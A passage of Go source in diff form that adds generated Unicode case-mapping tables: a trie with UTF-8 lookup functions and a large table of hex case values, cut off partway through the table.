"\x15+ἁιἉΙᾉ\x15+ἂιἊΙᾊ\x15+ἃιἋΙᾋ\x15+ἄιἌΙᾌ\x15+ἅιἍΙᾍ\x15+ἆιἎΙᾎ\x15+ἇιἏΙᾏ" + + "\x15\x1dἀιᾀἈΙ\x15\x1dἁιᾁἉΙ\x15\x1dἂιᾂἊΙ\x15\x1dἃιᾃἋΙ\x15\x1dἄιᾄἌΙ\x15" + + "\x1dἅιᾅἍΙ\x15\x1dἆιᾆἎΙ\x15\x1dἇιᾇἏΙ\x15+ἠιἨΙᾘ\x15+ἡιἩΙᾙ\x15+ἢιἪΙᾚ\x15+ἣι" + + "ἫΙᾛ\x15+ἤιἬΙᾜ\x15+ἥιἭΙᾝ\x15+ἦιἮΙᾞ\x15+ἧιἯΙᾟ\x15\x1dἠιᾐἨΙ\x15\x1dἡιᾑἩΙ" + + "\x15\x1dἢιᾒἪΙ\x15\x1dἣιᾓἫΙ\x15\x1dἤιᾔἬΙ\x15\x1dἥιᾕἭΙ\x15\x1dἦιᾖἮΙ\x15" + + "\x1dἧιᾗἯΙ\x15+ὠιὨΙᾨ\x15+ὡιὩΙᾩ\x15+ὢιὪΙᾪ\x15+ὣιὫΙᾫ\x15+ὤιὬΙᾬ\x15+ὥιὭΙᾭ" + + "\x15+ὦιὮΙᾮ\x15+ὧιὯΙᾯ\x15\x1dὠιᾠὨΙ\x15\x1dὡιᾡὩΙ\x15\x1dὢιᾢὪΙ\x15\x1dὣιᾣὫΙ" + + "\x15\x1dὤιᾤὬΙ\x15\x1dὥιᾥὭΙ\x15\x1dὦιᾦὮΙ\x15\x1dὧιᾧὯΙ\x15-ὰιᾺΙᾺͅ\x14#αιΑΙ" + + "ᾼ\x14$άιΆΙΆͅ\x14$ᾶΑ͂Α͂\x166ᾶιΑ͂Ιᾼ͂\x14\x1cαιᾳΑΙ\x12\x12ιΙΙ\x15-ὴιῊΙ" + + "Ὴͅ\x14#ηιΗΙῌ\x14$ήιΉΙΉͅ\x14$ῆΗ͂Η͂\x166ῆιΗ͂Ιῌ͂\x14\x1cηιῃΗΙ\x166ῒΙ" + + "̈̀Ϊ̀\x166ΐΪ́Ϊ́\x14$ῖΙ͂Ι͂\x166ῗΪ͂Ϊ͂\x166ῢΫ̀Ϋ̀\x166ΰΫ́Ϋ" + + "́\x14$ῤΡ̓Ρ̓\x14$ῦΥ͂Υ͂\x166ῧΫ͂Ϋ͂\x15-ὼιῺΙῺͅ\x14#ωιΩΙῼ\x14$ώιΏΙΏͅ" + + "\x14$ῶΩ͂Ω͂\x166ῶιΩ͂Ιῼ͂\x14\x1cωιῳΩΙ\x12\x10ωω\x11\x08kk\x12\x10åå\x12" + + "\x10ɫɫ\x12\x10ɽɽ\x10\x12ȺȺ\x10\x12ȾȾ\x12\x10ɑɑ\x12\x10ɱɱ\x12\x10ɐɐ\x12" + + "\x10ɒɒ\x12\x10ȿȿ\x12\x10ɀɀ\x12\x10ɥɥ\x12\x10ɦɦ\x12\x10ɜɜ\x12\x10ɡɡ\x12" + + "\x10ɬɬ\x12\x10ɪɪ\x12\x10ʞʞ\x12\x10ʇʇ\x12\x10ʝʝ\x12\x10ʂʂ\x12\x12ffFFFf" + + "\x12\x12fiFIFi\x12\x12flFLFl\x13\x1bffiFFIFfi\x13\x1bfflFFLFfl\x12\x12st" + + "STSt\x12\x12stSTSt\x14$մնՄՆՄն\x14$մեՄԵՄե\x14$միՄԻՄի\x14$վնՎՆՎն\x14$մխՄԽՄ" + + "խ" + +// lookup returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *caseTrie) lookup(s []byte) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return caseValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := caseIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := caseIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = caseIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := caseIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = caseIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = caseIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *caseTrie) lookupUnsafe(s []byte) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return caseValues[c0] + } + i := caseIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = caseIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = caseIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// lookupString returns the trie value for the first UTF-8 encoding in s and +// the width in bytes of this encoding. The size will be 0 if s does not +// hold enough bytes to complete the encoding. len(s) must be greater than 0. +func (t *caseTrie) lookupString(s string) (v uint16, sz int) { + c0 := s[0] + switch { + case c0 < 0x80: // is ASCII + return caseValues[c0], 1 + case c0 < 0xC2: + return 0, 1 // Illegal UTF-8: not a starter, not ASCII. + case c0 < 0xE0: // 2-byte UTF-8 + if len(s) < 2 { + return 0, 0 + } + i := caseIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c1), 2 + case c0 < 0xF0: // 3-byte UTF-8 + if len(s) < 3 { + return 0, 0 + } + i := caseIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = caseIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c2), 3 + case c0 < 0xF8: // 4-byte UTF-8 + if len(s) < 4 { + return 0, 0 + } + i := caseIndex[c0] + c1 := s[1] + if c1 < 0x80 || 0xC0 <= c1 { + return 0, 1 // Illegal UTF-8: not a continuation byte. + } + o := uint32(i)<<6 + uint32(c1) + i = caseIndex[o] + c2 := s[2] + if c2 < 0x80 || 0xC0 <= c2 { + return 0, 2 // Illegal UTF-8: not a continuation byte. + } + o = uint32(i)<<6 + uint32(c2) + i = caseIndex[o] + c3 := s[3] + if c3 < 0x80 || 0xC0 <= c3 { + return 0, 3 // Illegal UTF-8: not a continuation byte. + } + return t.lookupValue(uint32(i), c3), 4 + } + // Illegal rune + return 0, 1 +} + +// lookupStringUnsafe returns the trie value for the first UTF-8 encoding in s. +// s must start with a full and valid UTF-8 encoded rune. +func (t *caseTrie) lookupStringUnsafe(s string) uint16 { + c0 := s[0] + if c0 < 0x80 { // is ASCII + return caseValues[c0] + } + i := caseIndex[c0] + if c0 < 0xE0 { // 2-byte UTF-8 + return t.lookupValue(uint32(i), s[1]) + } + i = caseIndex[uint32(i)<<6+uint32(s[1])] + if c0 < 0xF0 { // 3-byte UTF-8 + return t.lookupValue(uint32(i), s[2]) + } + i = caseIndex[uint32(i)<<6+uint32(s[2])] + if c0 < 0xF8 { // 4-byte UTF-8 + return t.lookupValue(uint32(i), s[3]) + } + return 0 +} + +// caseTrie. Total size: 13398 bytes (13.08 KiB). Checksum: 544af6e6b1b70931. +type caseTrie struct{} + +func newCaseTrie(i int) *caseTrie { + return &caseTrie{} +} + +// lookupValue determines the type of block n and looks up the value for b. +func (t *caseTrie) lookupValue(n uint32, b byte) uint16 { + switch { + case n < 22: + return uint16(caseValues[n<<6+uint32(b)]) + default: + n -= 22 + return uint16(sparse.lookup(n, b)) + } +} + +// caseValues: 24 blocks, 1536 entries, 3072 bytes +// The third block is the zero block. +var caseValues = [1536]uint16{ + // Block 0x0, offset 0x0 + 0x27: 0x0054, + 0x2e: 0x0054, + 0x30: 0x0010, 0x31: 0x0010, 0x32: 0x0010, 0x33: 0x0010, 0x34: 0x0010, 0x35: 0x0010, + 0x36: 0x0010, 0x37: 0x0010, 0x38: 0x0010, 0x39: 0x0010, 0x3a: 0x0054, + // Block 0x1, offset 0x40 + 0x41: 0x2013, 0x42: 0x2013, 0x43: 0x2013, 0x44: 0x2013, 0x45: 0x2013, + 0x46: 0x2013, 0x47: 0x2013, 0x48: 0x2013, 0x49: 0x2013, 0x4a: 0x2013, 0x4b: 0x2013, + 0x4c: 0x2013, 0x4d: 0x2013, 0x4e: 0x2013, 0x4f: 0x2013, 0x50: 0x2013, 0x51: 0x2013, + 0x52: 0x2013, 0x53: 0x2013, 0x54: 0x2013, 0x55: 0x2013, 0x56: 0x2013, 0x57: 0x2013, + 0x58: 0x2013, 0x59: 0x2013, 0x5a: 0x2013, + 0x5e: 0x0004, 0x5f: 0x0010, 0x60: 0x0004, 0x61: 0x2012, 0x62: 0x2012, 0x63: 0x2012, + 0x64: 0x2012, 0x65: 0x2012, 0x66: 0x2012, 0x67: 0x2012, 0x68: 0x2012, 0x69: 0x2012, + 0x6a: 0x2012, 0x6b: 0x2012, 0x6c: 0x2012, 0x6d: 0x2012, 0x6e: 0x2012, 0x6f: 0x2012, + 0x70: 0x2012, 0x71: 0x2012, 0x72: 0x2012, 0x73: 0x2012, 0x74: 0x2012, 0x75: 0x2012, + 0x76: 0x2012, 0x77: 0x2012, 0x78: 0x2012, 0x79: 0x2012, 0x7a: 0x2012, + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc0: 0x0852, 0xc1: 0x0b53, 0xc2: 0x0113, 0xc3: 0x0112, 0xc4: 0x0113, 0xc5: 0x0112, + 0xc6: 0x0b53, 0xc7: 0x0f13, 0xc8: 0x0f12, 0xc9: 0x0e53, 0xca: 0x1153, 0xcb: 0x0713, + 0xcc: 0x0712, 0xcd: 0x0012, 0xce: 0x1453, 0xcf: 0x1753, 0xd0: 0x1a53, 0xd1: 0x0313, + 0xd2: 0x0312, 0xd3: 0x1d53, 0xd4: 0x2053, 0xd5: 0x2352, 0xd6: 0x2653, 0xd7: 0x2653, + 0xd8: 0x0113, 0xd9: 0x0112, 0xda: 0x2952, 0xdb: 0x0012, 0xdc: 0x1d53, 0xdd: 0x2c53, + 0xde: 0x2f52, 0xdf: 0x3253, 0xe0: 0x0113, 0xe1: 0x0112, 0xe2: 0x0113, 0xe3: 0x0112, + 0xe4: 0x0113, 0xe5: 0x0112, 0xe6: 0x3553, 0xe7: 0x0f13, 0xe8: 0x0f12, 0xe9: 0x3853, + 0xea: 0x0012, 0xeb: 0x0012, 0xec: 0x0113, 0xed: 0x0112, 0xee: 0x3553, 0xef: 0x1f13, + 0xf0: 0x1f12, 0xf1: 0x3b53, 0xf2: 0x3e53, 0xf3: 0x0713, 0xf4: 0x0712, 0xf5: 0x0313, + 0xf6: 0x0312, 0xf7: 0x4153, 0xf8: 0x0113, 0xf9: 0x0112, 0xfa: 0x0012, 0xfb: 0x0010, + 0xfc: 0x0113, 0xfd: 0x0112, 0xfe: 0x0012, 0xff: 0x4452, + // Block 0x4, offset 0x100 + 0x100: 0x0010, 0x101: 0x0010, 0x102: 0x0010, 0x103: 0x0010, 0x104: 0x02db, 0x105: 0x0359, + 0x106: 0x03da, 0x107: 0x043b, 0x108: 0x04b9, 0x109: 0x053a, 0x10a: 0x059b, 0x10b: 0x0619, + 0x10c: 0x069a, 0x10d: 0x0313, 0x10e: 0x0312, 0x10f: 0x1f13, 0x110: 0x1f12, 0x111: 0x0313, + 0x112: 0x0312, 0x113: 0x0713, 0x114: 0x0712, 0x115: 0x0313, 0x116: 0x0312, 0x117: 0x0f13, + 0x118: 0x0f12, 0x119: 0x0313, 0x11a: 0x0312, 0x11b: 0x0713, 0x11c: 0x0712, 0x11d: 0x1452, + 0x11e: 0x0113, 0x11f: 0x0112, 0x120: 0x0113, 0x121: 0x0112, 0x122: 0x0113, 0x123: 0x0112, + 0x124: 0x0113, 0x125: 0x0112, 0x126: 0x0113, 0x127: 0x0112, 0x128: 0x0113, 0x129: 0x0112, + 0x12a: 0x0113, 0x12b: 0x0112, 0x12c: 0x0113, 0x12d: 0x0112, 0x12e: 0x0113, 0x12f: 0x0112, + 0x130: 0x06fa, 0x131: 0x07ab, 0x132: 0x0829, 0x133: 0x08aa, 0x134: 0x0113, 0x135: 0x0112, + 0x136: 0x2353, 0x137: 0x4453, 0x138: 0x0113, 0x139: 0x0112, 0x13a: 0x0113, 0x13b: 0x0112, + 0x13c: 0x0113, 0x13d: 0x0112, 0x13e: 0x0113, 0x13f: 0x0112, + // Block 0x5, offset 0x140 + 0x140: 0x0a8a, 0x141: 0x0313, 0x142: 0x0312, 0x143: 0x0853, 0x144: 0x4753, 0x145: 0x4a53, + 0x146: 0x0113, 0x147: 0x0112, 0x148: 0x0113, 0x149: 0x0112, 0x14a: 0x0113, 0x14b: 0x0112, + 0x14c: 0x0113, 0x14d: 0x0112, 0x14e: 0x0113, 0x14f: 0x0112, 0x150: 0x0b0a, 0x151: 0x0b8a, + 0x152: 0x0c0a, 0x153: 0x0b52, 0x154: 0x0b52, 0x155: 0x0012, 0x156: 0x0e52, 0x157: 0x1152, + 0x158: 0x0012, 0x159: 0x1752, 0x15a: 0x0012, 0x15b: 0x1a52, 0x15c: 0x0c8a, 0x15d: 0x0012, + 0x15e: 0x0012, 0x15f: 0x0012, 0x160: 0x1d52, 0x161: 0x0d0a, 0x162: 0x0012, 0x163: 0x2052, + 0x164: 0x0012, 0x165: 0x0d8a, 0x166: 0x0e0a, 0x167: 0x0012, 0x168: 0x2652, 0x169: 0x2652, + 0x16a: 0x0e8a, 0x16b: 0x0f0a, 0x16c: 0x0f8a, 0x16d: 0x0012, 0x16e: 0x0012, 0x16f: 0x1d52, + 0x170: 0x0012, 0x171: 0x100a, 0x172: 0x2c52, 0x173: 0x0012, 0x174: 0x0012, 0x175: 0x3252, + 0x176: 0x0012, 0x177: 0x0012, 0x178: 0x0012, 0x179: 0x0012, 0x17a: 0x0012, 0x17b: 0x0012, + 0x17c: 0x0012, 0x17d: 0x108a, 0x17e: 0x0012, 0x17f: 0x0012, + // Block 0x6, offset 0x180 + 0x180: 0x3552, 0x181: 0x0012, 0x182: 0x110a, 0x183: 0x3852, 0x184: 0x0012, 0x185: 0x0012, + 0x186: 0x0012, 0x187: 0x118a, 0x188: 0x3552, 0x189: 0x4752, 0x18a: 0x3b52, 0x18b: 0x3e52, + 0x18c: 0x4a52, 0x18d: 0x0012, 0x18e: 0x0012, 0x18f: 0x0012, 0x190: 0x0012, 0x191: 0x0012, + 0x192: 0x4152, 0x193: 0x0012, 0x194: 0x0010, 0x195: 0x0012, 0x196: 0x0012, 0x197: 0x0012, + 0x198: 0x0012, 0x199: 0x0012, 0x19a: 0x0012, 0x19b: 0x0012, 0x19c: 0x0012, 0x19d: 0x120a, + 0x19e: 0x128a, 0x19f: 0x0012, 0x1a0: 0x0012, 0x1a1: 0x0012, 0x1a2: 0x0012, 0x1a3: 0x0012, + 0x1a4: 0x0012, 0x1a5: 0x0012, 0x1a6: 0x0012, 0x1a7: 0x0012, 0x1a8: 0x0012, 0x1a9: 0x0012, + 0x1aa: 0x0012, 0x1ab: 0x0012, 0x1ac: 0x0012, 0x1ad: 0x0012, 0x1ae: 0x0012, 0x1af: 0x0012, + 0x1b0: 0x0015, 0x1b1: 0x0015, 0x1b2: 0x0015, 0x1b3: 0x0015, 0x1b4: 0x0015, 0x1b5: 0x0015, + 0x1b6: 0x0015, 0x1b7: 0x0015, 0x1b8: 0x0015, 0x1b9: 0x0014, 0x1ba: 0x0014, 0x1bb: 0x0014, + 0x1bc: 0x0014, 0x1bd: 0x0014, 0x1be: 0x0014, 0x1bf: 0x0014, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x0024, 0x1c1: 0x0024, 0x1c2: 0x0024, 0x1c3: 0x0024, 0x1c4: 0x0024, 0x1c5: 0x130d, + 0x1c6: 0x0024, 0x1c7: 0x0034, 0x1c8: 0x0034, 0x1c9: 0x0034, 0x1ca: 0x0024, 0x1cb: 0x0024, + 0x1cc: 0x0024, 0x1cd: 0x0034, 0x1ce: 0x0034, 0x1cf: 0x0014, 0x1d0: 0x0024, 0x1d1: 0x0024, + 0x1d2: 0x0024, 0x1d3: 0x0034, 0x1d4: 0x0034, 0x1d5: 0x0034, 0x1d6: 0x0034, 0x1d7: 0x0024, + 0x1d8: 0x0034, 0x1d9: 0x0034, 0x1da: 0x0034, 0x1db: 0x0024, 0x1dc: 0x0034, 0x1dd: 0x0034, + 0x1de: 0x0034, 0x1df: 0x0034, 0x1e0: 0x0034, 0x1e1: 0x0034, 0x1e2: 0x0034, 0x1e3: 0x0024, + 0x1e4: 0x0024, 0x1e5: 0x0024, 0x1e6: 0x0024, 0x1e7: 0x0024, 0x1e8: 0x0024, 0x1e9: 0x0024, + 0x1ea: 0x0024, 0x1eb: 0x0024, 0x1ec: 0x0024, 0x1ed: 0x0024, 0x1ee: 0x0024, 0x1ef: 0x0024, + 0x1f0: 0x0113, 0x1f1: 0x0112, 0x1f2: 0x0113, 0x1f3: 0x0112, 0x1f4: 0x0014, 0x1f5: 0x0004, + 0x1f6: 0x0113, 0x1f7: 0x0112, 0x1fa: 0x0015, 0x1fb: 0x4d52, + 0x1fc: 0x5052, 0x1fd: 0x5052, 0x1ff: 0x5353, + // Block 0x8, offset 0x200 + 0x204: 0x0004, 0x205: 0x0004, + 0x206: 0x2a13, 0x207: 0x0054, 0x208: 0x2513, 0x209: 0x2713, 0x20a: 0x2513, + 0x20c: 0x5653, 0x20e: 0x5953, 0x20f: 0x5c53, 0x210: 0x138a, 0x211: 0x2013, + 0x212: 0x2013, 0x213: 0x2013, 0x214: 0x2013, 0x215: 0x2013, 0x216: 0x2013, 0x217: 0x2013, + 0x218: 0x2013, 0x219: 0x2013, 0x21a: 0x2013, 0x21b: 0x2013, 0x21c: 0x2013, 0x21d: 0x2013, + 0x21e: 0x2013, 0x21f: 0x2013, 0x220: 0x5f53, 0x221: 0x5f53, 0x223: 0x5f53, + 0x224: 0x5f53, 0x225: 0x5f53, 0x226: 0x5f53, 0x227: 0x5f53, 0x228: 0x5f53, 0x229: 0x5f53, + 0x22a: 0x5f53, 0x22b: 0x5f53, 0x22c: 0x2a12, 0x22d: 0x2512, 0x22e: 0x2712, 0x22f: 0x2512, + 0x230: 0x14ca, 0x231: 0x2012, 0x232: 0x2012, 0x233: 0x2012, 0x234: 0x2012, 0x235: 0x2012, + 0x236: 0x2012, 0x237: 0x2012, 0x238: 0x2012, 0x239: 0x2012, 0x23a: 0x2012, 0x23b: 0x2012, + 0x23c: 0x2012, 0x23d: 0x2012, 0x23e: 0x2012, 0x23f: 0x2012, + // Block 0x9, offset 0x240 + 0x240: 0x5f52, 0x241: 0x5f52, 0x242: 0x160a, 0x243: 0x5f52, 0x244: 0x5f52, 0x245: 0x5f52, + 0x246: 0x5f52, 0x247: 0x5f52, 0x248: 0x5f52, 0x249: 0x5f52, 0x24a: 0x5f52, 0x24b: 0x5f52, + 0x24c: 0x5652, 0x24d: 0x5952, 0x24e: 0x5c52, 0x24f: 0x1813, 0x250: 0x168a, 0x251: 0x170a, + 0x252: 0x0013, 0x253: 0x0013, 0x254: 0x0013, 0x255: 0x178a, 0x256: 0x180a, 0x257: 0x1812, + 0x258: 0x0113, 0x259: 0x0112, 0x25a: 0x0113, 0x25b: 0x0112, 0x25c: 0x0113, 0x25d: 0x0112, + 0x25e: 0x0113, 0x25f: 0x0112, 0x260: 0x0113, 0x261: 0x0112, 0x262: 0x0113, 0x263: 0x0112, + 0x264: 0x0113, 0x265: 0x0112, 0x266: 0x0113, 0x267: 0x0112, 0x268: 0x0113, 0x269: 0x0112, + 0x26a: 0x0113, 0x26b: 0x0112, 0x26c: 0x0113, 0x26d: 0x0112, 0x26e: 0x0113, 0x26f: 0x0112, + 0x270: 0x188a, 0x271: 0x190a, 0x272: 0x0b12, 0x273: 0x5352, 0x274: 0x6253, 0x275: 0x198a, + 0x277: 0x0f13, 0x278: 0x0f12, 0x279: 0x0b13, 0x27a: 0x0113, 0x27b: 0x0112, + 0x27c: 0x0012, 0x27d: 0x4d53, 0x27e: 0x5053, 0x27f: 0x5053, + // Block 0xa, offset 0x280 + 0x280: 0x6852, 0x281: 0x6852, 0x282: 0x6852, 0x283: 0x6852, 0x284: 0x6852, 0x285: 0x6852, + 0x286: 0x6852, 0x287: 0x1a0a, 0x288: 0x0012, 0x28a: 0x0010, + 0x291: 0x0034, + 0x292: 0x0024, 0x293: 0x0024, 0x294: 0x0024, 0x295: 0x0024, 0x296: 0x0034, 0x297: 0x0024, + 0x298: 0x0024, 0x299: 0x0024, 0x29a: 0x0034, 0x29b: 0x0034, 0x29c: 0x0024, 0x29d: 0x0024, + 0x29e: 0x0024, 0x29f: 0x0024, 0x2a0: 0x0024, 0x2a1: 0x0024, 0x2a2: 0x0034, 0x2a3: 0x0034, + 0x2a4: 0x0034, 0x2a5: 0x0034, 0x2a6: 0x0034, 0x2a7: 0x0034, 0x2a8: 0x0024, 0x2a9: 0x0024, + 0x2aa: 0x0034, 0x2ab: 0x0024, 0x2ac: 0x0024, 0x2ad: 0x0034, 0x2ae: 0x0034, 0x2af: 0x0024, + 0x2b0: 0x0034, 0x2b1: 0x0034, 0x2b2: 0x0034, 0x2b3: 0x0034, 0x2b4: 0x0034, 0x2b5: 0x0034, + 0x2b6: 0x0034, 0x2b7: 0x0034, 0x2b8: 0x0034, 0x2b9: 0x0034, 0x2ba: 0x0034, 0x2bb: 0x0034, + 0x2bc: 0x0034, 0x2bd: 0x0034, 0x2bf: 0x0034, + // Block 0xb, offset 0x2c0 + 0x2c0: 0x0010, 0x2c1: 0x0010, 0x2c2: 0x0010, 0x2c3: 0x0010, 0x2c4: 0x0010, 0x2c5: 0x0010, + 0x2c6: 0x0010, 0x2c7: 0x0010, 0x2c8: 0x0010, 0x2c9: 0x0014, 0x2ca: 0x0024, 0x2cb: 0x0024, + 0x2cc: 0x0024, 0x2cd: 0x0024, 0x2ce: 0x0024, 0x2cf: 0x0034, 0x2d0: 0x0034, 0x2d1: 0x0034, + 0x2d2: 0x0034, 0x2d3: 0x0034, 0x2d4: 0x0024, 0x2d5: 0x0024, 0x2d6: 0x0024, 0x2d7: 0x0024, + 0x2d8: 0x0024, 0x2d9: 0x0024, 0x2da: 0x0024, 0x2db: 0x0024, 0x2dc: 0x0024, 0x2dd: 0x0024, + 0x2de: 0x0024, 0x2df: 0x0024, 0x2e0: 0x0024, 0x2e1: 0x0024, 0x2e2: 0x0014, 0x2e3: 0x0034, + 0x2e4: 0x0024, 0x2e5: 0x0024, 0x2e6: 0x0034, 0x2e7: 0x0024, 0x2e8: 0x0024, 0x2e9: 0x0034, + 0x2ea: 0x0024, 0x2eb: 0x0024, 0x2ec: 0x0024, 0x2ed: 0x0034, 0x2ee: 0x0034, 0x2ef: 0x0034, + 0x2f0: 0x0034, 0x2f1: 0x0034, 0x2f2: 0x0034, 0x2f3: 0x0024, 0x2f4: 0x0024, 0x2f5: 0x0024, + 0x2f6: 0x0034, 0x2f7: 0x0024, 0x2f8: 0x0024, 0x2f9: 0x0034, 0x2fa: 0x0034, 0x2fb: 0x0024, + 0x2fc: 0x0024, 0x2fd: 0x0024, 0x2fe: 0x0024, 0x2ff: 0x0024, + // Block 0xc, offset 0x300 + 0x300: 0x7053, 0x301: 0x7053, 0x302: 0x7053, 0x303: 0x7053, 0x304: 0x7053, 0x305: 0x7053, + 0x307: 0x7053, + 0x30d: 0x7053, 0x310: 0x1aea, 0x311: 0x1b6a, + 0x312: 0x1bea, 0x313: 0x1c6a, 0x314: 0x1cea, 0x315: 0x1d6a, 0x316: 0x1dea, 0x317: 0x1e6a, + 0x318: 0x1eea, 0x319: 0x1f6a, 0x31a: 0x1fea, 0x31b: 0x206a, 0x31c: 0x20ea, 0x31d: 0x216a, + 0x31e: 0x21ea, 0x31f: 0x226a, 0x320: 0x22ea, 0x321: 0x236a, 0x322: 0x23ea, 0x323: 0x246a, + 0x324: 0x24ea, 0x325: 0x256a, 0x326: 0x25ea, 0x327: 0x266a, 0x328: 0x26ea, 0x329: 0x276a, + 0x32a: 0x27ea, 0x32b: 0x286a, 0x32c: 0x28ea, 0x32d: 0x296a, 0x32e: 0x29ea, 0x32f: 0x2a6a, + 0x330: 0x2aea, 0x331: 0x2b6a, 0x332: 0x2bea, 0x333: 0x2c6a, 0x334: 0x2cea, 0x335: 0x2d6a, + 0x336: 0x2dea, 0x337: 0x2e6a, 0x338: 0x2eea, 0x339: 0x2f6a, 0x33a: 0x2fea, + 0x33c: 0x0015, 0x33d: 0x306a, 0x33e: 0x30ea, 0x33f: 0x316a, + // Block 0xd, offset 0x340 + 0x340: 0x0812, 0x341: 0x0812, 0x342: 0x0812, 0x343: 0x0812, 0x344: 0x0812, 0x345: 0x0812, + 0x348: 0x0813, 0x349: 0x0813, 0x34a: 0x0813, 0x34b: 0x0813, + 0x34c: 0x0813, 0x34d: 0x0813, 0x350: 0x3b1a, 0x351: 0x0812, + 0x352: 0x3bfa, 0x353: 0x0812, 0x354: 0x3d3a, 0x355: 0x0812, 0x356: 0x3e7a, 0x357: 0x0812, + 0x359: 0x0813, 0x35b: 0x0813, 0x35d: 0x0813, + 0x35f: 0x0813, 0x360: 0x0812, 0x361: 0x0812, 0x362: 0x0812, 0x363: 0x0812, + 0x364: 0x0812, 0x365: 0x0812, 0x366: 0x0812, 0x367: 0x0812, 0x368: 0x0813, 0x369: 0x0813, + 0x36a: 0x0813, 0x36b: 0x0813, 0x36c: 0x0813, 0x36d: 0x0813, 0x36e: 0x0813, 0x36f: 0x0813, + 0x370: 0x9252, 0x371: 0x9252, 0x372: 0x9552, 0x373: 0x9552, 0x374: 0x9852, 0x375: 0x9852, + 0x376: 0x9b52, 0x377: 0x9b52, 0x378: 0x9e52, 0x379: 0x9e52, 0x37a: 0xa152, 0x37b: 0xa152, + 0x37c: 0x4d52, 0x37d: 0x4d52, + // Block 0xe, offset 0x380 + 0x380: 0x3fba, 0x381: 0x40aa, 0x382: 0x419a, 0x383: 0x428a, 0x384: 0x437a, 0x385: 0x446a, + 0x386: 0x455a, 0x387: 0x464a, 0x388: 0x4739, 0x389: 0x4829, 0x38a: 0x4919, 0x38b: 0x4a09, + 0x38c: 0x4af9, 0x38d: 0x4be9, 0x38e: 0x4cd9, 0x38f: 0x4dc9, 0x390: 0x4eba, 0x391: 0x4faa, + 0x392: 0x509a, 0x393: 0x518a, 0x394: 0x527a, 0x395: 0x536a, 0x396: 0x545a, 0x397: 0x554a, + 0x398: 0x5639, 0x399: 0x5729, 0x39a: 0x5819, 0x39b: 0x5909, 0x39c: 0x59f9, 0x39d: 0x5ae9, + 0x39e: 0x5bd9, 0x39f: 0x5cc9, 0x3a0: 0x5dba, 0x3a1: 0x5eaa, 0x3a2: 0x5f9a, 0x3a3: 0x608a, + 0x3a4: 0x617a, 0x3a5: 0x626a, 0x3a6: 0x635a, 0x3a7: 0x644a, 0x3a8: 0x6539, 0x3a9: 0x6629, + 0x3aa: 0x6719, 0x3ab: 0x6809, 0x3ac: 0x68f9, 0x3ad: 0x69e9, 0x3ae: 0x6ad9, 0x3af: 0x6bc9, + 0x3b0: 0x0812, 0x3b1: 0x0812, 0x3b2: 0x6cba, 0x3b3: 0x6dca, 0x3b4: 0x6e9a, + 0x3b6: 0x6f7a, 0x3b7: 0x705a, 0x3b8: 0x0813, 0x3b9: 0x0813, 0x3ba: 0x9253, 0x3bb: 0x9253, + 0x3bc: 0x7199, 0x3bd: 0x0004, 0x3be: 0x726a, 0x3bf: 0x0004, + // Block 0xf, offset 0x3c0 + 0x3c0: 0x0004, 0x3c1: 0x0004, 0x3c2: 0x72ea, 0x3c3: 0x73fa, 0x3c4: 0x74ca, + 0x3c6: 0x75aa, 0x3c7: 0x768a, 0x3c8: 0x9553, 0x3c9: 0x9553, 0x3ca: 0x9853, 0x3cb: 0x9853, + 0x3cc: 0x77c9, 0x3cd: 0x0004, 0x3ce: 0x0004, 0x3cf: 0x0004, 0x3d0: 0x0812, 0x3d1: 0x0812, + 0x3d2: 0x789a, 0x3d3: 0x79da, 0x3d6: 0x7b1a, 0x3d7: 0x7bfa, + 0x3d8: 0x0813, 0x3d9: 0x0813, 0x3da: 0x9b53, 0x3db: 0x9b53, 0x3dd: 0x0004, + 0x3de: 0x0004, 0x3df: 0x0004, 0x3e0: 0x0812, 0x3e1: 0x0812, 